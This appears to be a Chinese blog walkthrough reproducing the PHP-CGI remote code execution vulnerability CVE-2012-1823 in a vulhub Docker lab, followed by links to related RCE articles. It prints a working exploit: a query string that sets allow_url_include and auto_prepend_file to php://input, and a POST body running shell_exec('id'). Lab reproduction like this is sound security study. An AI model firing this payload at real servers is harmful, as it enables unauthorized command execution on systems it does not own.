PHP-CGI远程代码执行

漏洞利用知识：

CGI模式下的参数：

-c 指定php.ini文件的位置

-n 不要加载php.ini文件

-d 指定配置项

-b 启动fastcgi进程

-s 显示文件源码

-T 执行指定次该文件

-h和-？显示帮助

环境搭建：

这里采用vulhub环境，参考文件

漏洞利用：

启动漏洞环境

进入 CVE-2012-1823
启动

sudo docker-compose up

查看正在运行的docker容器

docker ps

访问一下index.php，没问题

-s显示源码

-d执行命令

?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

<?php echo shell_exec('id');?>

用burp抓包修改包（这里要请求方式要改为POST）

返回结果，上传成功。

PHP-CGI远程代码执行相关推荐

JAVA CGI 远程代码执行_Apache Tomcat CVE-2019-0232 远程代码执行漏洞
2019年4月10日,Apache Tomcat报告了一个漏洞称在windows上运行的Apache Tomcat存在远程代码执行漏洞,漏洞编号为CVE-2019-0232.在Windows平台,远程 ...
cve-2017-12617 tomcat远程代码执行漏洞复现测试
0x00前情提要 Apache Tomcat团队10月3日宣布,如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操 ...
Drupal 修复远程代码执行漏洞
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队周三,Drupal 内容管理系统 (CMS) 发布更新,修复了和不正确清理所上传文件名称有关的一个远程代码执行漏洞 (CVE-2020 ...
IoT僵尸网络Miori通过ThinkPHP远程代码执行漏洞进行传播
转发开心,送你们一些IOT默认凭据表 Mirai变种"Miori"出现,通过Thinkphp5远程代码执行(RCE)漏洞传播漏洞详细分析: Thinkphp5 远程代码执行漏洞事 ...
墨者学院—Webmin未经身份验证的远程代码执行（简单复习）
墨者学院-Webmin未经身份验证的远程代码执行(简单复习) 背景描述: Webmin是目前功能最强大的基于Web的Unix系统管理工具.管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理 ...
Webmin未经身份验证的远程代码执行
[墨者学院]--Webmin未经身份验证的远程代码执行做题前看看大佬写的漏洞原理:[https://blog.csdn.net/qq_43380549/article/details/1000112 ...
注意！多款智能家居Hub存在远程代码执行漏洞
近日,有研究团队在三个不同的家庭集线器– Fibaro Home Center Lite,Homematic中央控制单元(CCU2)和eLAN-RF-003中发现了许多严重的安全漏洞.这些设备用于监视 ...
复现CVE-2022-10270（向日葵远程代码执行漏洞）
目录引言漏洞描述影响版本: 原理: 环境搭建手动复现脚本复现修复建议引言本文内容仅供学习参考,若读者利用本文内容做出违法行为,笔者不提供担保!!! 漏洞描述向日葵是一款免费的,集远程 ...
【漏洞复现】CNVD-2022-10270向日葵远程代码执行
声明:本文内容仅供学习参考目录声明:本文内容仅供学习参考一.漏洞介绍二.影响范围三.漏洞复现复现思路一: 复现思路二: 一.漏洞介绍向日葵远程控制是上海贝锐信息科技股份有限公司开发的一款 ...

PHP-CGI远程代码执行

PHP-CGI远程代码执行

漏洞利用知识：

环境搭建：

漏洞利用：

启动漏洞环境

-s显示源码

-d执行命令

PHP-CGI远程代码执行相关推荐

最新文章

热门文章